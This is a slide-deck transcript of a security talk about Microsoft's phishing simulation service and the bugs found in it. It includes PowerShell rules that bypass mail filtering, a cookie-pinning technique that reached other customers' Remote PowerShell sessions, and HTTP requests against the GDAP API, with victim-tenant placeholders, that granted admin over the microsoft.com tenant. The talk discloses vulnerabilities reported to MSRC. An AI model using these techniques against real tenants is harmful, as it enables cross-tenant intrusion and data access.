

Phishing for Tenants

All I Wanted was for Microsoft to Deliver my Phishing Simulation, but instead I kept Reeling in Bug Bounties and Admin Access to Random Tenants

Vaisha Bernard February 20th, 2025



whoami Vaisha Bernard



1984

1992



1998

Source: Rational Badger

2002

linux/x86 sshd1 exploit by zip/TESO (zip@james.kalifornia.com) - ripped from
openssh 2.2.0 src

2020

greets: mray, random, big t, sh1fty, scut, dvorak
ps. this sploit already owned cia.gov :/



2010

Source: Aratek

Source: AD

Agenda









Or... "what happens if an old hacker wants to automate delivering a phishing simulation" Part 1

Microsoft's Attack Simulation Training

Trends in Phishing and Simulations



Source: Ironscales

Source: Verified Market Reports

Attack simulation training

Overview Simulations Training Reports Automations

Attack simulation training lets you run benign cyber attack simulations

Recent Simulations

Simulation name

Туре

test

Credential Harvest









Let's name your site

Your site name is part of your Confluence URL. Most people use their team or company name.

ascendinte .atla	our site	
	ascendinte	.atla

.atlassian.net 🤇

This site name is just a suggestion. Feel free to change to something your team will recognize.

Continue

https://ascendinte.atlassian.net
/wiki/spaces/ASCEND/pages/103547
42/Copy+of+Microsoft+file+receiv

ed

Access requests

Update reques

Users can request product access for themselves or others when your site access settings don't allow them to join your site. When you grant users access, they count towards your product subscription. Learn more about access requests

Who ne	eds access	Requested by	Product	Actions	
RV	Rob NEW TO SITE	Rob on 9 Feb 2023	Confluence	Review request	Approve
DF	Darryl NEW TO SITE	Darryl on 3 Feb 2023	Confluence	Review request	Approve
T	Travis NEW TO SITE	Travis on 31 Jan 2023	Confluence	Review request	Approve
JW	Joachim NEW TO SITE	Joachim on 23 Jan 2023	Confluence	Review request	Approve

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Update reques







CAUTION: EXTERNAL EMAIL

NEW FILE ALERT.

@eye.security One of your contacts sent you a file.







CAUTION: EXTERNAL EMAIL

NEW FILE ALERT.

@eye.security One of your contacts sent you a file.





CAUTION: EXTERNAL EMAIL

~\$ whois elgpst.com No match for domain "ELGPST.COM".

NEW FILE ALERT.

@eye.security One of your contacts sent you a file.

New File Alert	
ТР	Tawana To: Brown <abr@elgpst.com> Please do not send me this file again.</abr@elgpst.com>
	← Reply → Forward
F S T S	rom: Brown <abr@elgpst.com> ent: Thursday, February 2, 2023 6:59 AM o: Tawana ubject: New File Alert</abr@elgpst.com>



Eric

EC

To: Brown <abr@elgpst.com>

< E

Thanks for the SPAM my friend, im not that easily fooled. Much love, I am praying for ya



From: Brown <abr@elgpst.com> Sent: Friday, February 3, 2023 10:20 AM



(B

Kenny

\odot \otimes \leftarrow \ll \rightarrow

Sat 2/4/2023 5:41

 \odot

Well y'all need to quit doing this because I have multiple vendors so who the hell would know if this is a spam or not when it doesn't have anything that would look like spam so stop doing this

Get Outlook for iOS



< k

To: Brown <abr@elgpst.com>

From: Brown <abr@elgpst.com> Sent: Friday, February 3, 2023 11:08:11 AM To: Kenny <k Subject: New File Alert



Roland < Roland

To: Brown <abr@elgpst.com>

Hello!

Please help me, 'cause I never asked for this file and have no idea what you want from me.

If I do net get a proper explanation I'll not open the attached file and will mark further mails as spam.

Yours







Hi Brown, I just wondering are you form my company? What is this link for?

It is not scam?

lvy







Courtney <Courtney

To: Brown <abr@elgpst.com>

what is this email regarding please, as what you attached will not let me load it up





Sa

SJ

<Sa

To: Brown <abr@elgpst.com>

Hi sir

What is the file that you have sent?

Is there any thing important?

And the file not opening..





241 templates

- 101 unregistered domains
- 131 domains not owned by Microsoft
- 9 domains owned by Microsoft

"Out of the 241 total templates available in Attack Simulator, 101 templates use sender e-mail addresses that have a domain name that is available for registration. Another 140 templates use sender e-mail addresses that have a domain name that is already registered, but only 9 of them use a domain that is owned by Microsoft. I have attached a CSV file with an overview of all affected Attack Simulation Templates."



241 templates

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- 131 domains not owned by Microsoft
- 9 domains owned by Microsoft

"Out of the 241 total templates available in Attack Simulator, 101 templates use sender e-mail addresses that have a domain name that is available for registration. Another 140 templates use sender e-mail addresses that have a domain name that is already registered, but only 9 of them use a domain that is owned by Microsoft. I have attached a CSV file with an overview of all affected Attack Simulation Templates."

Access requests

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Users can request product access for themselves or others when your site access settings don't allow them to join your site. When you grant users access, they count towards your product subscription. Learn more about access requests

Who needs access Requested by Product Actions Delila NEW TO SITE Delila Confluence DH on 15 Aug 2023 NEW TO SITE Troy Troy TB Confluence on 10 Aug 2023 .com Johnae NEW TO SITE Johnae Confluence IW edu on 10 Aug 2023 NEW TO SITE Jürg Jürg JS Confluence on 8 Aug 2023 .com jurg. Maurice Maurice NEW TO SITE <u>e e</u>t





Part 2

Allowlisting Challenges





- Connection Filtering Policy
 - o Set-HostedConnectionFilterPolicy -Identity Default -IPAllowList @{Add =
 \$to_whitelist_ip}



- Connection Filtering Policy
 - o Set-HostedConnectionFilterPolicy -Identity Default -IPAllowList @{Add =
 \$to_whitelist_ip}
- Bypass Clutter Transport Rule
 - New-TransportRule -SetHeaderName "X-MS-Exchange-Organization-BypassClutter" -SetHeaderValue "true" -SetSCL "-1"



- Connection Filtering Policy
 - o Set-HostedConnectionFilterPolicy -Identity Default -IPAllowList @{Add =
 \$to_whitelist_ip}

• Bypass Clutter Transport Rule

 New-TransportRule -SetHeaderName "X-MS-Exchange-Organization-BypassClutter" -SetHeaderValue "true" -SetSCL "-1"

Forefront Antispam Report Transport Rule

o New-TransportRule -SetHeaderName "X-Forefront-Antispam-Report" -SetHeaderValue
 "SFV: SKI;"



- Skip Safe Links Processing Transport Rule
 - New-TransportRule -SetHeaderName "X-MS-Exchange-Organization-SkipSafeLinksProcessing" -SetHeaderValue "1" -SetSCL "-1"



- Skip Safe Links Processing Transport Rule
 - New-TransportRule -SetHeaderName "X-MS-Exchange-Organization-SkipSafeLinksProcessing" -SetHeaderValue "1" -SetSCL "-1"
- Skip Safe Attachment Processing Transport Rule
 - New-TransportRule -SetHeaderName "X-MS-Exchange-Organization-SkipSafeAttachmentProcessing" -SetHeaderValue "1"



- Skip Safe Links Processing Transport Rule
 - New-TransportRule -SetHeaderName "X-MS-Exchange-Organization-SkipSafeLinksProcessing" -SetHeaderValue "1" -SetSCL "-1"
- Skip Safe Attachment Processing Transport Rule
 - New-TransportRule -SetHeaderName "X-MS-Exchange-Organization-SkipSafeAttachmentProcessing" -SetHeaderValue "1"

Inbound Connector

 New-InboundConnector -SenderIPAddresses \$to_whitelist_ip -RequireTLS \$true -ConnectorType "Partner" -SenderDomains "*"



I heard you like overrides, so I put some overrides on your overrides

Because Microsoft wants to keep our customers secure by default, some tenants overrides aren't applied for malware or high confidence phishing. These overrides include:

- Allowed sender lists or allowed domain lists (anti-spam policies)
- Outlook Safe Senders
- IP Allow List (connection filtering)
- Exchange mail flow rules (also known as transport rules)



I heard you like overrides, so I put some overrides on your overrides

Policies & rules > Threat policies > Advanced delivery

Advanced delivery

Configure IP addresses, sender domains and URLs that are used as part of your phishing simulation email. These email messages are delivered unfiltered. Learn more

SecOps mailbox

Phishing simulation




In Security & Compliance PowerShell, you need to use the *AzureADAuthorizationEndpointUri* with the *DelegatedOrganization* parameter.

This example connects to customer organizations in the following scenarios:

- Connect to a customer organization using a CSP account.
- Connect to a customer organization using a GDAP.

	Connect-IPPSSession -UserPrincipalName
PowerShell	navin@contoso.onmicrosoft.com
Connect-IPPSSession -UserPrincipalName navin@contoso.onm	-DelegatedOrganization adatum.onmicrosoft.com -AzureADAuthorizationEndpointUri
	<pre>https://ps.compliance.protection.outlook.com/ powershell-liveid/</pre>



Error Acquiring Token: AADSTS50049: Unknown or invalid instance. Trace ID: 44d05a2d-1f07-41d6-ac38-ecc2fb2c0900 Correlation ID: 18d18245-9df9-4b19-8f1c-42864bb161a8 Timestamp: 2023-01-26 10:50:292 AUDSTS50049: Unknown or Invalid Instance. Trace ID: 44d05a2d-1f07-41d6-ac38-ecc2fb2c0900 Correlation ID: 18d18245-9df9-4b19-8f1c-42864bb161a8 Timestamp: 2023-01-26 10:50:292

dindowsPowerShellU

work\ExchangeOnlineHanagement psml:726 char:21
* throw \$ Exception.InnerException;

- CategoryInfo : OperationStopped: (:) [], MsalServiceExcepti - FullyQualifiedErrorId : AADSTS58049: Unknown or Invalid Instance. Inace ID: 44d05a2d-1f07-41d6-ac38-ecc2fb2c0900 Correlation ID: 18d18245-9df9-4b19-8f1c-42864bb161a8 Correlation ID: 18d18245-9df9-4b19-8f1c-42864bb161a8 Correlation ID: 18d18245-9df9-4b19-8f1c-42864bb161a8



Part 3

Shanghai Wicresoft Co,.Ltd. [sic]







Shanghai Wicresoft Co., Ltd. was founded in 2002 as Microsoft's first joint venture company in China. Over the past 20 years, as a comprehensive service provider for enterprise digitalization, Wicresoft brings together more than 10,000 professionals locally and from abroad with a commitment to providing high-standard IT services and solutions for global customers, and helping companies realize their mission and strategic goals of digital upgrading.

slide to answer

🤶 Remind Me





Source: The Paper Chinc

Source: Bjoertvedt

For Fiddler logs:

1. Download and install Fiddler: https://www.telerik.com/download/fiddler

Close all other applications as we do not want irrelevant events to be traced. Please make sure skype for business, outlook, all browser windows etc. are closed.

- 2. Start Fiddler.
- Navigate to Edit > Fiddler Options.
- 4. Configure HTTPS settings like the image below and ensure the following is enabled:
 - Capture HTTPS CONNECTs
 - Decrypt HTTPS traffic
 - Ignore server certificate errors

at the rate of	S Jonnections	Gateway	Appearance	Extensions	Tools	
iddler is abre Capture H Decryp	to decrypt HTTP TTPS CONNECTs t HTTPS traffic	Ssessions	by re-signing Lea	traffic using s irn about dec	self-general	ted certificates.
from all	processes		• Cer	tificates gen	erated usin	9
Check f	for certificate rev ption for the follo	ocation owing hosts	•			
Export	Root Certificate	to Desktop		Remo	ve Intercept	tion Certificates







We have checked on your query and this is completely understandable. As per internal team feedback, Connect-Ippsession inability is due to basic Oauth depreciation. Currently, our engineering team is working to make PS V3 module more functional to connect via REST API. There is no ETA, and you are requested to continue working via Admin portal UI for mentioned actions.

We have acknowledged that most of the command should run in current EXO module but there are few commands are remaining for those we advise to use Portal UI. We would appreciate your kind understanding and extremely sorry for the temporary disturbance in the service.



Part 4

On Remote Powershell Sessions and Hijacking them



Policies & rules > Threat policies > Advanced delivery

Advanced delivery

Configure IP addresses, sender domains and URLs that are used as part of your phishing simulation email. These email messages are delivered unfiltered. Learn more

SecOps mailbox

Phishing simulation



https://security.microsoft.com/apiproxy/psws/
service.svc/PhishSimOverridePolicy

https://security.microsoft.com/apiproxy/psws/
service.svc/PhishSimOverrideManagementRule



https://security.microsoft.com/apiproxy/psws/
service.svc/PhishSimOverridePolicy

https://security.microsoft.com/apiproxy/psws/
service.svc/PhishSimOverrideManagementRule

https://eur06b.ps.compliance.protection.outlook.com/
Psws/Service.svc/



https://security.microsoft.com/apiproxy/psws/
service.svc/PhishSimOverridePolicy

https://security.microsoft.com/apiproxy/psws/
service.svc/PhishSimOverrideManagementRule

https://eur06b.ps.compliance.protection.outlook.com/
Psws/Service.svc/

PS C:\> Connect-IPPSSession -DelegatedOrganization microsoft.com
WARNING: Your connection has been redirected to the following URI:
 "https://nam06b.ps.compliance.protection.outlook.com/Powershell LiveId?DelegatedOrg=microsoft.com"





\$resource = "https://ps.compliance.protection.outlook.com"



\$resource = "https://ps.compliance.protection.outlook.com"

- # Microsoft Exchange REST API Based Powershell
- # "AdminApi.AccessAsUser.All"
- # "FfoPowerShell.AccessAsUser.All"
- # "RemotePowerShell.AccessAsUser.All"
- # "VivaFeatureAccessPolicy.Manage.All"

\$client_id = "fb78d390-0c51-40cd-8e17-fdbfab77341b"



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\$client_id = "fb78d390-0c51-40cd-8e17-fdbfab77341b"

\$redirect_uri = "http://localhost"



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\$client_id = "fb78d390-0c51-40cd-8e17-fdbfab77341b"
\$redirect_uri = "http://localhost"

AcquireTokenAsync(\$resource, \$client_id, \$redirect_uri, ...)



\$resource = "https://ps.compliance.protection.outlook.com"

- # Microsoft Exchange REST API Based Powershell
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\$client_id = "fb78d390-0c51-40cd-8e17-fdbfab77341b"
\$redirect_uri = "http://localhost"

AcquireTokenAsync(\$resource, \$client_id, \$redirect_uri, ...)
...or use ROADtools by Dirk-Jan Mollema



Request

	Raw Headers Hex
F	Pretty Raw \n Actions >
]	1 GET /psws/Service.svc/ HTTP/1.1
2	2 Host: eurO6b.ps.compliance.protection.outlook.com
	3 Connection: close
4	4 Content-Length: O
5	5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
	like Gecko) Chrome/120.0.0.0 Safari/537.36
(6 Content-Type: application/json
5	<pre>7 Accept: application/json, text/plain, */*</pre>
8	B Authorization: Bearer



```
"url":"InsiderRiskPolicyLite"
},
  "name":"SecOpsOverridePolicy",
  "url":"SecOpsOverridePolicy"
},
  "name":"SecOpsOverrideManagementRule",
  "url":"SecOpsOverrideManagementRule"
},
  "name":"PhishSimOverridePolicy",
  "url":"PhishSimOverridePolicy"
},
  "name":"PhishSimOverrideManagementRule",
  "url":"PhishSimOverrideManagementRule"
},
  "name":"PrivacyManagementPolicy",
  "url":"PrivacyManagementPolicy"
},
```



Automation

foreach tenant in all customer tenants {

- Get tenant Region (eur06b, etc)
- Acquire Access Token at <tenant> as client "Microsoft Exchange REST API Based Powershell" for resource "https://ps.compliance.protection.outlook.com"
- GET the PhishSimOverridePolicy (there can be only one)
 - If none exists, create one with a POST to PhishSimOverridePolicy
- GET the PhishSimOverrideManagementRule (there can be only one)
- Create/Update the rule with a POST to PhishSimOverrideManagementRule with SenderDomainIs, SenderIpRanges and Policy values



- Tenant 1 ... Success
- Tenant 2 ... Success
- Tenant 3 ... Success
- Tenant 4 ... Policy exists, rule exists ???

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- Tenant 1 ... Success
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- Updated settings for tenant 1 with a token for tenant 4
 - That's crossing a security boundary...



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 - That's crossing a security boundary...



- Tenant 1 ... Success
- Tenant 2 ... Success
- Tenant 3 ... Success
- Tenant 4 ... Policy exists, rule exists ???
- Updated settings for tenant 1 with a token for tenant 4
 That's crossing a security boundary...
 But I still need to automate change those @1#\$@#\$ settings





```
1 HTTP/1.1 200 OK
2 Cache-Control: no-cache, no-store
3 Pragma: no-cache
4 Content-Type: application/xml;charset=utf-8
5 Expires: -1
6 Server: Microsoft-IIS/10.0
7 Set-Cookie: X-EOP-ORIGINSERVER=VI1EURO6WS022:4222211017605146; domain=eurO6b
8 request-id: 7e107384-13f6-41b3-8451-eb6c5aa0fce9
9 X-Content-Type-Options: nosniff
10 request-id: cf663031-a955-4715-ad48-44abbf034c68
11 DataServiceVersion: 3.0:
12 X-AspNet-Version: 4.0.30319
13 X-Powered-By: ASP.NET
14 X-DiagInfo: VI1EUR06WS022
15 X-BEServer: VI1EURO6WS022
16 Date: Tue, O2 Jan 2024 15:37:46 GMT
17 Connection: close
18 Content-Length: 483309
```



```
1 HTTP/1.1 200 OK
2 Cache-Control: no-cache, no-store
3 Pragma: no-cache
 4 Content-Type: application/xml;charset=utf-8
5 Expires: -1
6 Server: Microsoft-IIS/10.0
7 Set-Cookie: X-EOP-ORIGINSERVER=VI1EURO6WS022:4222211017605146; domain=eur06b
  request-id: 7e107384-13f6-41b3-8451-eb6c5aa0fce9
8
9 X-Content-Type-Options: nosniff
10
  request-id: cf663031-a955-4715-ad48-44abbf034c68
11 DataServiceVersion: 3.0:
12 X-AspNet-Version: 4.0.30319
13 X-Powered-Bv: ASP.NET
14 X-DiagInfo: VI1EUR06WS022
15 X-BEServer: VI1EUR06WS022
16 Date: Tue, 02 Jan 2024 15:37:46 GMT
17 Connection: close
18 Content-Length: 483309
```



- First request takes a couple of seconds
- Subsequent requests are much faster
- Value of X-EOP-ORIGINSERVER stays the same
 Even without actually sending the Cookie
- Smart Load Balancer in front of Remote Powershell session



- First request takes a couple of seconds
- Subsequent requests are much faster
- Value of X-EOP-ORIGINSERVER stays the same
 Even without actually sending the Cookie
- Smart Load Balancer in front of Remote Powershell session
- Solution: Explicitly set this cookie to VI1EUR06WS001, 002, 003 etc., for each different tenant
 This would ensure a fresh Powershell Session for each tenant



Automation

foreach tenant in all customer tenants {

- Get tenant Region (eur06b, etc)
- Set X-EOP-ORIGINSERVER Cookie
- Acquire Access Token at <tenant> as client "Microsoft Exchange REST API Based Powershell" for resource "https://ps.compliance.protection.outlook.com"
- GET the PhishSimOverridePolicy (there can be only one)
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- Create/Update the rule with a POST to PhishSimOverrideManagementRule with SenderDomainIs, SenderIpRanges and Policy values



• X-EOP-ORIGINSERVER =

oeur01b - VE1EUR01WSXXX with XXX = 001 - 250 oeur02b - DB5EUR02WSXXX with XXX = 001 - 050 <u>oeur03b - VI1EUR03WSXXX with XXX = 001 - 050</u> oeur04b - VI1EUR04WSXXX with XXX = 001 - 050oeur05b - VI1EUR05WSXXX with XXX = 001 - 055 oeur06b - VI1EUR06WSXXX with XXX = 001 - 055 ogbr01b - LO4GBR01WSXXX with XXX = 001 - 035 oche01b - ZR0CHE01WSXXX with XXX = 001 - 025 odeu01b - FR2DEU01WSXXX with XXX = 001 - 025 onor01b - SV0NOR01WSXXX with XXX = 001 - 020



- Tenant 1 ... Success
- Tenant 2 ... Success
- Tenant 3 ... Success
- Tenant 4 ... Success
- ...
- Tenant 49 ... Success
- Tenant 50 ...



- Tenant 1 ... Success
- Tenant 2 ... Success
- Tenant 3 ... Success
- Tenant 4 ... Success
- •••
- Tenant 49 ... Success
- Tenant 50 ... Different policy, different rule ???



Wait.. what whose tenant??

- Tenant 1 ... Success
- Tenant 2 ... Success
- Tenant 3 ... Success
- Tenant 4 ... Success
- • •
- Tenant 49 ... Success
- Tenant 50 ... Different policy, different rule ???
Burp Suite Community Edition v2020.9.2 - Temporary Project

Burp Project Intruder Repeater Window Help

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options

Intercept HTTP history WebSockets history Options

Filter: Hiding CSS, image and general binary content

# A Host	Method	URL	Params	Edited	Status	Length	MIME type Extension	Title	Comment	TLS	IP	-
1164 https://eur01b.ps.compliance.protection.outlook.com	GET	/psws/service.svc/AdminAuditLogConfig			200	2430	ISON			1	104.47.1.26	
1165 https://eur01b.ps.compliance.protection.outlook.com	GET	/psws/service.svc/AdminAuditLogConfig			200	2430	ISON			1	104.47.1.26	
1166 https://eur01b.ps.compliance.protection.outlook.com	GET	/psws/service.svc/AdminAuditLogConfig			200	2430	ISON			1	104.47.1.26	
1167 https://eur01b.ps.compliance.protection.outlook.com	GET	/psws/service.svc/AdminAuditLogConfig			200	2430	JSON			1	104.47.1.26	
1168 https://eur01b.ps.compliance.protection.outlook.com	GET	/psws/service.svc/AdminAuditLogConfig			200	2430	ISON			1	104.47.1.26	
1169 https://eur01b.ps.compliance.protection.outlook.com	GET	/psws/service.svc/AdminAuditLogConfig			200	2423	JSON			1	104.47.1.26	
1170 https://eur01b.ps.compliance.protection.outlook.com	GET	/psws/service.svc/AdminAuditLogConfig			200	2430	JSON			1	104.47.1.26	Т
1171 https://eur01b.ps.compliance.protection.outlook.com	GET	/psws/service.svc/AdminAuditLogConfig			200	2430	JSON			1	104.47.1.26	. 11
1172 https://eur01b.ps.compliance.protection.outlook.com	GET	/psws/service.svc/AdminAuditLogConfig			200	2430	JSON			1	104.47.1.26	
1173 https://eur01b.ps.compliance.protection.outlook.com	GET	/psws/service.svc/AdminAuditLogConfig			200	2353	JSON			1	104.47.1.26	
1174 https://eur01b.ps.compliance.protection.outlook.com	GET	/psws/service.svc/AdminAuditLogConfig								~	104.47.1.26	1
1175 https://eur01b.ps.compliance.protection.outlook.com	GET	/psws/service.svc/AdminAuditLogConfig			200	2430	JSON			1	104.47.1.26	
•												•
Request			Response									10
Raw Params Headers Hex			Raw Headers H	ex								
Pretty Raw In Actions V			Pretty Raw Rende	r Vn	Actions '	1						
1 GET /psws/service.svc/AdminAuditLogConfig HTTP/1.1 2 Host: eurOlb.ps.compliance.protection.outlook.com			* AdminAud	ditLogCm	dlets":[ŕ

3 User-Agent: python-requests/2.31.0 Not my customer! 1. "AdminAuditLogEnabled":true, 4 Accept-Encoding: gzip, deflate "AdminAuditLogExcludedCmdlets":[5 Accept: application/json 6 Connection: close], 7 Authorization: Bearer "AdminAuditLogMailbox":"", "AdminAuditLogParameters":[11.582.0 1, "AdminDisplayName":"", "DistinguishedName": "CN=Default, CN=Configuration, CN= onmilrosoft.com,OU=Microsoft Exchange Hosted Orga "ExchangeObjectId":" "ExchangeVersion": *0.10 (14.0.100.0)", "Guid":" "Id": "FFO.extest.microsoft.com/Microsoft Exchange Hosted Organizations/ .onmicrosoft.com/Configuration/ "IsValid":true, 4 2.0 (?)(?) ← → Search... (?{?} ← → Search... 0 matches 0 matches



10

Steps to reproduce *

\$ 14000

Please provide step by step instructions on how to reproduce the to Reproduce must be between 25 characters and 10,000 characters



10000/10000 characters remaining

- Multi-threaded Python script
- 600 BE servers in ~ 5 minutes
- No hits on Sunday
- Monday morning... Bingo!

Security & Compliance PowerShell contains the following types of cmdlets:

Impact

- Cmdlets that correspond to features available only in Purview compliance and the Microsoft Purview compliance portal. Most cmdlets in Security & Compliance PowerShell fall into this category.
- Basic cmdlets that are also available in Exchange Online PowerShell (for example, Get-User, and Get-RoleGroup).
- A few cmdlets that correspond to security features available in Exchange Online Protection (EOP) and Microsoft Defender for Office 365 in the Microsoft Defender portal (for example, Set-SecOpsOverridePolicy).

eDiscovery solutions

Impact Microsoft Purview provides three eDiscovery solutions: Content search, eDiscovery (Standard), and eDiscovery (Premium).

Content Search	eDiscovery (Standard)	eDiscovery (Premium)
 Search for content Keyword queries and search conditions Export search results Role-based permissions 	 Search and export Case management Legal hold 	 Custodian management Legal hold notifications Advanced indexing Review set filtering



Expand table

ר ז נ ש

- lagging

- Analytics



Impact

Here's a description of each eDiscovery capability.

 Search for content. Search for content that's stored in Exchange mailboxes, OneDrive for Business accounts, SharePoint sites, Microsoft Teams, Microsoft 365 Groups, and Viva Engage Teams. This includes content generated by other Microsoft 365 apps that store data in mailboxes and sites.



Impact

Perform actions on content you find

After you run a search and refine it as necessary, the next step is to do something with the results returned by the search. You can export and download the results to your local computer or in the case of an email attack on your organization, you can delete the results of a search from user mailboxes.

• Export the results of a content search and download them to your local computer..



Impact

Perform actions on content you find

After you run a search and refine it as necessary, the next step is to do something with the results returned by the search. You can export and download the results to your local computer or in the case of an email attack on your organization, you can delete the results of a search from user mailboxes.

• Export the results of a content search and download them to your local computer..

What now? 2024

• Connect-ExchangeOnline

Get-PhishSimOverridePolicyNew-PhishSimOverridePolicy

Get-ExoPhishSimOverrideRule
New-ExoPhishSimOverrideRule
Set-ExoPhishSimOverrideRule



Part 5

Bonus Vulnerability



Part 5

Bonus Vulnerability "Ul Issue"





For more, see GDAP frequently asked questions.



POST /CustomerServiceAdminApi/Web/v1/delegatedAdminRelationships/migrate HTTP/1.1 Host: traf-pcsvcadmin-prod.trafficmanager.net

```
"duration": "P730D",
"displayName": "Test",
"accessDetails": {"unifiedRoles":[{"roleDefinitionId":"62e90394-69f5-4237"
"partner":{"tenantId":"<MY_TENANT_ID>"},
"customer": {
    "tenantId":"<VICTIM_TENANT_ID>",
    "displayName":"<VICTIM>"
```



POST /CustomerServiceAdminApi/Web/v1/delegatedAdminRelationships/migrate HTTP/1.1 Host: traf-pcsvcadmin-prod.trafficmanager.net

```
"duration": "P730D",
"displayName": "Test",
"accessDetails": {"unifiedRoles":[{"roleDefinitionId":"62e90394-69f5-4237"
"partner":{"tenantId":"<MY_TENANT_ID>"},
"customer": {
        "tenantId":"<VICTIM_TENANT_ID>",
        "displayName":"<VICTIM>"
        72f988bf-86f1-41af-91ab-2d7cd011db47
        Microsoft
```



POST /CustomerServiceAdminApi/Web/v1/delegatedAdminRelationships/migrate HTTP/1.1 Host: traf-pcsvcadmin-prod.trafficmanager.net

• GDAP status: "approvalPending"



The status of the relationship. Read Only. The possible values are: activating, active, approvalPending, approved, created, expired, expiring, terminated, terminating, terminationRequested, unknownFutureValue. Supports \$orderby.

• GDAP status: "approvalPending"



- PATCH /beta/tenantRelationships/delegatedAdminRelationships/<RELATIONSHIP_ID>
- Host: graph.microsoft.com
- Content-Type: application/json

{"status":"approved"}

• 204 No Content...

microsoft.com tenant



	Microsoft 365 admin cente	er	P Search			E 🔄 🗘 🏟 ?			
≡			Home > Partner relationships	Continue of the local division of the local	and the second se	J Enable Dark mode			
ណ៍	Home								
8	Users	~	Partner relationships	and the second second					
የ ድ	Teams & groups	~	These are the partners that you authorized to work with your organization. Each partner has different responsibiliti	ties for	Chilips				
<i>?</i> ≜	Roles	\sim	working with your organization, and some might have roles. Learn more about working with a partner						
æ	Resources	\sim	Review your partner agreements	No. of Concession, Name					
	Billing	\sim	Make sure partners still need their approved roles.						
្ច	Support	~							
	Settings	^	Approved requests						
	Domains								
	Search & intelligence				6 items 🍸 Filter				
	Microsoft 365 Backup			desinistrator					
	Integrated apps			aministrator					
	Viva		Granular delegated administrative privileges (GDAF)						
1	Partner relationships		✓ Partner and associated relationships ⊥ Authorized roles Role aut	uthorization (i)	Expiration date	Status			
-	Microsoft Edge								
P	Setup		V Eye Security (1)						
⊾ ∽	Reports	~	Global Administrator, Global Reader, Attack GDAP		October 12, 2024	 Active 			



MSRC Response

Thank you again for your submission to MSRC. Our engineers have investigated the report and we have informed the appropriate team about the issues you reported. However, this case does not meet the bar for servicing by MSRC and we will be closing this case.

The tokens though shown to be obtained, are not able to do anything further due to further check's and balances in the back end.

Our product group will address improvements to the UI for this as needed.

Takeaways

- Early adopters of new cloud products can expect less mature products that contain more trivial vulnerabilities.
 When exposing sensitive data, the maturity of the cloud product is an important factor to consider
- If discovered by adversaries, vulnerabilities in cloud platforms can have disastrous consequences if abused at scale
- Bug Bounty hunters: focus on edge cases of real usage for more success

eye

Thank you!

vaisha.bernard@eye.security

